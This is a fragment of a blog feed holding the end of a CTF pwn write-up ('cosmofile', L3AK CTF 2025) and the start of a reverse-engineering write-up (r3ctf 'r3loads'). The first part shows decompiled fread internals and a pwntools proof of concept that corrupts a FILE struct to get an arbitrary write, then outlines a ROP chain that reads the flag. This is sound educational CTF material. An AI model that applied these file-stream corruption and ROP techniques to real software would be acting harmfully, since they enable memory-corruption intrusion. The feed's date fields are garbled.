style=\"color:#111\"\u003e].\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eiov_base\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#00a8c8\"\u003echar\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ebuf\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev13\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#111\"\u003ev15\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev11\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev13\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#111\"\u003eiov\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e].\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eiov_len\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev11\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev13\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#00a8c8\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ef\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ebufmode\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e||\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003esize\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ef\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003esize\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev11\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026gt;=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003esize\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#111\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003esize\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev17\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#111\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#00a8c8\"\u003eelse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#111\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev17\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ef\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ebuf\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#00a8c8\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#00a8c8\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#00a8c8\"\u003eint\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#111\"\u003esize\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0xC\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#111\"\u003esize\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#00a8c8\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#00a8c8\"\u003eint\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003esize\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e12\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#111\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#111\"\u003eiov\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e].\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eiov_base\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev17\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#111\"\u003eiov\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e].\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eiov_len\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003esize\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#111\"\u003ev18\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#111\"\u003ev19\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eiov\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#00a8c8\"\u003ewhile\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#111\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev35\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev15\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev36\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev18\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003en\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#00a8c8\"\u003esize_t\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ev19\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev20\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003ereadv\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003efd\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev19\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev18\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003ewe reach this part of the fread functions when f→buf does not have enough data to fulfill the the request of fread, so reads what’s left in f→buf and calls readv to read more data from the file into the user buffer, and in the way it also read’s in f-\u0026gt;buf \u003ccode\u003ef-\u0026gt;size-0xc\u003c/code\u003e bytes, we can use this in addition to changing the f-\u0026gt;fd to 0 (stdin), so we can get arb write from stdin, here is a simple pwntools poc that shows how it’s done:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#00a8c8\"\u003edef\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003eget_write\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eaddr\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003edata\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e):\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003esz\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x1001\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e//\u003c/span\u003e \u003cspan style=\"color:#111\"\u003esize\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eneeds\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eto\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ebe\u003c/span\u003e \u003cspan style=\"color:#111\"\u003estrictly\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ebigger\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ethan\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ewhat\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ethe\u003c/span\u003e \u003cspan style=\"color:#111\"\u003euser\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ewants\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ebeg\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x0\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003eend\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x0\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003epayload\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ep64\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0x0000024200010100\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ep64\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0x0000000000000000\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ep64\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0x0000000000000000\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ep32\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003esz\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ep32\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ebeg\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ep32\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eend\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ep32\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0x0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ep64\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eaddr\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ep64\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0x0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ep64\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0x2\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ep64\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0x0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e3\u003c/span\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ep64\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0x000000000042f338\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ep64\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0x000000000042f3d8\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ep64\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0x0000000000000000\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ewrite_to_FILE\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003epayload\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ep\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003esendlineafter\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eb\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;\u0026gt;\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#d88200\"\u003eb\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;1\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e//\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ecall\u003c/span\u003e \u003cspan style=\"color:#111\"\u003efread\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003e//\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eafter\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ethis\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eit\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ewill\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eread\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003efrom\u003c/span\u003e \u003cspan style=\"color:#111\"\u003estdin\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003epay\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#d88200\"\u003eb\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;a\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0x1000\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e//\u003c/span\u003e \u003cspan style=\"color:#111\"\u003esend\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x1000\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ebytes\u003c/span\u003e \u003cspan style=\"color:#00a8c8\"\u003efor\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ethe\u003c/span\u003e \u003cspan style=\"color:#111\"\u003euser\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ebuffer\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003epay\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003edata\u003c/span\u003e  \u003cspan style=\"color:#f92672\"\u003e//\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ethe\u003c/span\u003e \u003cspan style=\"color:#111\"\u003erest\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ewill\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ebe\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eread\u003c/span\u003e \u003cspan style=\"color:#111\"\u003einto\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ef\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ebuf\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003epay\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003epay\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#d88200\"\u003eb\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;c\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0x1000\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e4085\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#111\"\u003elen\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003epay\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e))\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e//\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ereadv\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ewill\u003c/span\u003e \u003cspan style=\"color:#00a8c8\"\u003econtinue\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ereading\u003c/span\u003e \u003cspan style=\"color:#111\"\u003euntil\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eit\u003c/span\u003e \u003cspan style=\"color:#111\"\u003egets\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eall\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ethe\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ebytes\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eit\u003c/span\u003e \u003cspan style=\"color:#111\"\u003erequests\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eso\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ewe\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eadd\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ethis\u003c/span\u003e \u003cspan style=\"color:#111\"\u003edummy\u003c/span\u003e \u003cspan style=\"color:#111\"\u003edata\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ep\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003esend\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003epay\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e  \n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"exploitation\"\u003eExploitation:\u003c/h2\u003e\n\u003cp\u003enow that we have both arb_read and arb_write, we can just get a stack addr from the binary memory and write into the return address of fread (because we can’t write into the ret of main, since it exits).\u003c/p\u003e\n\u003cp\u003ewe can get a stack leak by reading the value at \u003ccode\u003e\u0026amp;__argv\u003c/code\u003e and then subtract the offset for the return address of fread, after that we just write our rop chain, apparently there are no binaries inside the jail of the docker container, so we have to read the flag.txt directly using the rop chain.\u003c/p\u003e\n\u003cp\u003ethe final exploit is \u003ca href=\"/l3akctf2025-cosmofile/exploit.py\"\u003ehere\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003erunning it gives us the flag : \u003ccode\u003eL3AK{JU57_b3c4u43_7H3R3_15_N0_vft4bl3_D035N7_m34n_Y0U_5h0uld_61V3_up}\u003c/code\u003e\u003c/p\u003e\n","url":"https://nothoudaifa.github.io/posts/l3akctf2025-cosmofile/","date_published":"14076-14-09T70:1414:00+00:00","date_modified":"14076-14-09T70:1414:00+00:00","author":{"name":"nothoudaifa","url":"https://nothoudaifa.github.io/"}},{"id":"201141a0e588786d5b177a8cd5a97fa7ed64cf78","title":"writeup for rev/r3loads chall from r3ctf 2025","summary":"","content_text":"points: 929 pts solves: 11 solves this weekend i played r3ctf, i solved this challenge with @aymenmog, i really enjoyed doing this autorev, so i decided to make this writeup.\nInitial analysis this is an autorev chall, we are given 11423 executables each one is in it’s directory along with a set of shared libraries, the readme says that each binary takes 8 bytes input and final output of the chall will be a jpg which is the concatenation of 11423 right inputs.\neach part is like this:\nplayer@notarch:~/ctfs/r3/r3loads/game/300$ ls beatme RRRRRRRRRRRR3R33RRRR3R3R3R3RRR33.so RRRRRRRRRRRR3R33RRRRRRRRRRR33333.so RRRRRRRRRRRR3R3R33333RR3R33333RR.so RRRRRRRRRRRR3R33RRR3R3RRRR333RRR.so RRRRRRRRRRRR3R33RRRR3R3R3R3RRRR3.so RRRRRRRRRRRR3R33RRRRRRRRRRR333R3.so RRRRRRRRRRRR3R3R33333RR3R3333R3R.so RRRRRRRRRRRR3R33RRR3R3RRRR33R33R.so RRRRRRRRRRRR3R33RRRRR33R3R33333R.so RRRRRRRRRRRR3R33RRRRRRRRRRR33R33.so RRRRRRRRRRRR3R3R33333RR3R3333RRR.so RRRRRRRRRRRR3R33RRR3R3RRRR33R3RR.so RRRRRRRRRRRR3R33RRRRR33R3R3333RR.so RRRRRRRRRRRR3R33RRRRRRRRRRR33RR3.so RRRRRRRRRRRR3R3R33333RR3R333R33R.so RRRRRRRRRRRR3R33RRRR33333R33RRR3.so RRRRRRRRRRRR3R33RRRRR33R3R333R3R.so RRRRRRRRRRRR3R33RRRRRRRRRRR3R333.so RRRRRRRRRRRR3R3R3333R3R33RRR333R.so 